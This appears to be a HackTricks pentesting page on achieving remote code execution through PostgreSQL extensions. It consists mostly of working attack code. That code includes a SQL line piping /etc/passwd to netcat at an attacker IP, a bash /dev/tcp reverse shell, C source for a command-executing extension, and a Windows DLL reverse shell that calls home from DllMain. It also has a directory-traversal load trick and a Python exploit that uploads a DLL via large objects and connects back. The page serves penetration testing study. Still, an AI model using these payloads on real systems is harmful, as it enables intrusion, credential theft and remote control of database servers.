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314 lines
14 KiB
Markdown
314 lines
14 KiB
Markdown
# RCE with PostgreSQL Extensions
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<details>
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<summary><strong>Support HackTricks and get benefits!</strong></summary>
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* **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
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</details>
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## PostgreSQL Extensions
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PostgreSQL is designed to be easily extensible. For this reason, extensions loaded into the database can function just like features that are built in.\
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Extensions are modules that supply extra functions, operators, or types. They are libraries written in C.\
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From PostgreSQL > 8.1 the extension libraries must be compiled with a especial header or PostgreSQL will refuse to execute them.
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Also, keep in mind that **if you don't know how to** [**upload files to the victim abusing PostgreSQL you should read this post.**](big-binary-files-upload-postgresql.md)
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### RCE in Linux
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The process for executing system commands from PostgreSQL 8.1 and before is straightforward and well documented ([Metasploit module](https://www.rapid7.com/db/modules/exploit/linux/postgres/postgres\_payload)):
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```sql
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CREATE OR REPLACE FUNCTION system (cstring) RETURNS integer AS '/lib/x86_64-linux-gnu/libc.so.6', 'system' LANGUAGE 'c' STRICT;
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SELECT system('cat /etc/passwd | nc <attacker IP> <attacker port>');
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```
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However, when attempted on PostgreSQL 9.0, the following error was shown:
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```c
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ERROR: incompatible library “/lib/x86_64-linux-gnu/libc.so.6”: missing magic block
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HINT: Extension libraries are required to use the PG_MODULE_MAGIC macro.
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```
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This error is explained in the [PostgreSQL documentation](https://www.postgresql.org/docs/current/static/xfunc-c.html):
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> To ensure that a dynamically loaded object file is not loaded into an incompatible server, PostgreSQL checks that the file contains a “magic block” with the appropriate contents. This allows the server to detect obvious incompatibilities, such as code compiled for a different major version of PostgreSQL. A magic block is required as of PostgreSQL 8.2. To include a magic block, write this in one (and only one) of the module source files, after having included the header fmgr.h:
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>
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> `#ifdef PG_MODULE_MAGIC`\
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> `PG_MODULE_MAGIC;`\
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> `#endif`
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So for PostgreSQL versions since 8.2, an attacker either needs to take advantage of a library already present on the system, or upload their own library, which has been compiled against the right major version of PostgreSQL, and includes this magic block.
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#### Compile the library
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First of all you need to know the version of PostgreSQL running:
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```sql
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SELECT version();
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PostgreSQL 9.6.3 on x86_64-pc-linux-gnu, compiled by gcc (Debian 6.3.0-18) 6.3.0 20170516, 64-bit
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```
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The major versions have to match, so in this case compiling a library using any 9.6.x should work.\
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Then install that version in your system:
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```bash
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apt install postgresql postgresql-server-dev-9.6
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```
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And compile the library:
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```c
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//gcc -I$(pg_config --includedir-server) -shared -fPIC -o pg_exec.so pg_exec.c
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#include <string.h>
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#include "postgres.h"
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#include "fmgr.h"
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#ifdef PG_MODULE_MAGIC
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PG_MODULE_MAGIC;
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#endif
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PG_FUNCTION_INFO_V1(pg_exec);
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Datum pg_exec(PG_FUNCTION_ARGS) {
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char* command = PG_GETARG_CSTRING(0);
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PG_RETURN_INT32(system(command));
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}
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```
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Then upload the compiled library and execute commands with:
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```bash
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CREATE FUNCTION sys(cstring) RETURNS int AS '/tmp/pg_exec.so', 'pg_exec' LANGUAGE C STRICT;
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SELECT sys('bash -c "bash -i >& /dev/tcp/127.0.0.1/4444 0>&1"');
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#Notice the double single quotes are needed to scape the qoutes
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```
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You can find this **library precompiled** to several different PostgreSQL versions and even can **automate this process** (if you have PostgreSQL access) with:
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{% embed url="https://github.com/Dionach/pgexec" %}
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For more information read: [https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/](https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/)
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### RCE in Windows
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The following DLL takes as input the **name of the binary** and the **number** of **times** you want to execute it and executes it:
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```c
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#include "postgres.h"
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#include <string.h>
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#include "fmgr.h"
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#include "utils/geo_decls.h"
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#include <stdio.h>
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#include "utils/builtins.h"
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#ifdef PG_MODULE_MAGIC
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PG_MODULE_MAGIC;
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#endif
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/* Add a prototype marked PGDLLEXPORT */
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PGDLLEXPORT Datum pgsql_exec(PG_FUNCTION_ARGS);
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PG_FUNCTION_INFO_V1(pgsql_exec);
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/* this function launches the executable passed in as the first parameter
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in a FOR loop bound by the second parameter that is also passed*/
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Datum
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pgsql_exec(PG_FUNCTION_ARGS)
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{
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/* convert text pointer to C string */
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#define GET_STR(textp) DatumGetCString(DirectFunctionCall1(textout, PointerGetDatum(textp)))
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/* retrieve the second argument that is passed to the function (an integer)
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that will serve as our counter limit*/
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int instances = PG_GETARG_INT32(1);
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for (int c = 0; c < instances; c++) {
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/*launch the process passed in the first parameter*/
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ShellExecute(NULL, "open", GET_STR(PG_GETARG_TEXT_P(0)), NULL, NULL, 1);
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}
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PG_RETURN_VOID();
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}
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```
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You can find the DLL compiled in this zip:
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{% file src="../../../.gitbook/assets/pgsql_exec.zip" %}
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You can indicate to this DLL **which binary to execute** and the number of time to execute it, in this example it will execute `calc.exe` 2 times:
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```bash
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CREATE OR REPLACE FUNCTION remote_exec(text, integer) RETURNS void AS '\\10.10.10.10\shared\pgsql_exec.dll', 'pgsql_exec' LANGUAGE C STRICT;
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SELECT remote_exec('calc.exe', 2);
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DROP FUNCTION remote_exec(text, integer);
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```
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In [**here** ](https://zerosum0x0.blogspot.com/2016/06/windows-dll-to-shell-postgres-servers.html)you can find this reverse-shell:
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```c
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#define PG_REVSHELL_CALLHOME_SERVER "10.10.10.10"
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#define PG_REVSHELL_CALLHOME_PORT "4444"
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#include "postgres.h"
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#include <string.h>
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#include "fmgr.h"
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#include "utils/geo_decls.h"
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#include <winsock2.h>
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#pragma comment(lib,"ws2_32")
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#ifdef PG_MODULE_MAGIC
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PG_MODULE_MAGIC;
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#endif
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#pragma warning(push)
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#pragma warning(disable: 4996)
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#define _WINSOCK_DEPRECATED_NO_WARNINGS
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BOOL WINAPI DllMain(_In_ HINSTANCE hinstDLL,
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_In_ DWORD fdwReason,
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_In_ LPVOID lpvReserved)
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{
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WSADATA wsaData;
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SOCKET wsock;
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struct sockaddr_in server;
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char ip_addr[16];
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STARTUPINFOA startupinfo;
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PROCESS_INFORMATION processinfo;
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char *program = "cmd.exe";
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const char *ip = PG_REVSHELL_CALLHOME_SERVER;
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u_short port = atoi(PG_REVSHELL_CALLHOME_PORT);
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WSAStartup(MAKEWORD(2, 2), &wsaData);
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wsock = WSASocket(AF_INET, SOCK_STREAM,
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IPPROTO_TCP, NULL, 0, 0);
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struct hostent *host;
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host = gethostbyname(ip);
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strcpy_s(ip_addr, sizeof(ip_addr),
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inet_ntoa(*((struct in_addr *)host->h_addr)));
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server.sin_family = AF_INET;
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server.sin_port = htons(port);
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server.sin_addr.s_addr = inet_addr(ip_addr);
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WSAConnect(wsock, (SOCKADDR*)&server, sizeof(server),
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NULL, NULL, NULL, NULL);
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memset(&startupinfo, 0, sizeof(startupinfo));
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startupinfo.cb = sizeof(startupinfo);
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startupinfo.dwFlags = STARTF_USESTDHANDLES;
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startupinfo.hStdInput = startupinfo.hStdOutput =
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startupinfo.hStdError = (HANDLE)wsock;
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CreateProcessA(NULL, program, NULL, NULL, TRUE, 0,
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NULL, NULL, &startupinfo, &processinfo);
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return TRUE;
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}
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#pragma warning(pop) /* re-enable 4996 */
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/* Add a prototype marked PGDLLEXPORT */
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PGDLLEXPORT Datum dummy_function(PG_FUNCTION_ARGS);
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PG_FUNCTION_INFO_V1(add_one);
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Datum dummy_function(PG_FUNCTION_ARGS)
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{
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int32 arg = PG_GETARG_INT32(0);
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PG_RETURN_INT32(arg + 1);
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}
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```
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Note how in this case the **malicious code is inside the DllMain function**. This means that in this case it isn't necessary to execute the loaded function in postgresql, just **loading the DLL** will **execute** the reverse shell:
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```c
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CREATE OR REPLACE FUNCTION dummy_function(int) RETURNS int AS '\\10.10.10.10\shared\dummy_function.dll', 'dummy_function' LANGUAGE C STRICT;
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```
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### RCE in newest Prostgres versions
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On the **latest versions** of PostgreSQL, the `superuser` is **no** longer **allowed** to **load** a shared library file from **anywhere** else besides `C:\Program Files\PostgreSQL\11\lib` on Windows or `/var/lib/postgresql/11/lib` on \*nix. Additionally, this path is **not writable** by either the NETWORK\_SERVICE or postgres accounts.
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However, an authenticated database `superuser` **can write** binary files to the file-system using “large objects” and can of course write to the `C:\Program Files\PostgreSQL\11\data` directory. The reason for this should be clear, for updating/creating tables in the database.
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The underlying issue is that the `CREATE FUNCTION` operative **allows for a directory traversal** to the data directory! So essentially, an authenticated attacker can **write a shared library file into the data directory and use the traversal to load the shared library**. This means an attacker can get native code execution and as such, execute arbitrary code.
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#### Attack flow
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First of all you need to **use large objects to upload the dll**. You can see how to do that here:
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{% content-ref url="big-binary-files-upload-postgresql.md" %}
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[big-binary-files-upload-postgresql.md](big-binary-files-upload-postgresql.md)
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{% endcontent-ref %}
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Once you have uploaded the extension (with the name of poc.dll for this example) to the data directory you can load it with:
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```c
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create function connect_back(text, integer) returns void as '../data/poc', 'connect_back' language C strict;
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select connect_back('192.168.100.54', 1234);
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```
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_Note that you don't need to append the `.dll` extension as the create function will add it._
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For more information **read the**[ **original publication here**](https://srcincite.io/blog/2020/06/26/sql-injection-double-uppercut-how-to-achieve-remote-code-execution-against-postgresql.html)**.**\
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In that publication **this was the** [**code use to generate the postgres extension**](https://github.com/sourceincite/tools/blob/master/pgpwn.c) (_to learn how to compile a postgres extension read any of the previous versions_).\
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In the same page this **exploit to automate** this technique was given:
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```python
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#!/usr/bin/env python3
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import sys
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if len(sys.argv) != 4:
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print("(+) usage %s <connectback> <port> <dll/so>" % sys.argv[0])
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print("(+) eg: %s 192.168.100.54 1234 si-x64-12.dll" % sys.argv[0])
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sys.exit(1)
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host = sys.argv[1]
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port = int(sys.argv[2])
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lib = sys.argv[3]
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with open(lib, "rb") as dll:
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d = dll.read()
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sql = "select lo_import('C:/Windows/win.ini', 1337);"
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for i in range(0, len(d)//2048):
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start = i * 2048
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end = (i+1) * 2048
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if i == 0:
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sql += "update pg_largeobject set pageno=%d, data=decode('%s', 'hex') where loid=1337;" % (i, d[start:end].hex())
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else:
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sql += "insert into pg_largeobject(loid, pageno, data) values (1337, %d, decode('%s', 'hex'));" % (i, d[start:end].hex())
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if (len(d) % 2048) != 0:
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end = (i+1) * 2048
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sql += "insert into pg_largeobject(loid, pageno, data) values (1337, %d, decode('%s', 'hex'));" % ((i+1), d[end:].hex())
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sql += "select lo_export(1337, 'poc.dll');"
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sql += "create function connect_back(text, integer) returns void as '../data/poc', 'connect_back' language C strict;"
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sql += "select connect_back('%s', %d);" % (host, port)
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print("(+) building poc.sql file")
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with open("poc.sql", "w") as sqlfile:
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sqlfile.write(sql)
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print("(+) run poc.sql in PostgreSQL using the superuser")
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print("(+) for a db cleanup only, run the following sql:")
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print(" select lo_unlink(l.oid) from pg_largeobject_metadata l;")
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print(" drop function connect_back(text, integer);")
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```
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<details>
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<summary><strong>Support HackTricks and get benefits!</strong></summary>
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* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
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* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
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* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
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* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
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* **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
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</details>
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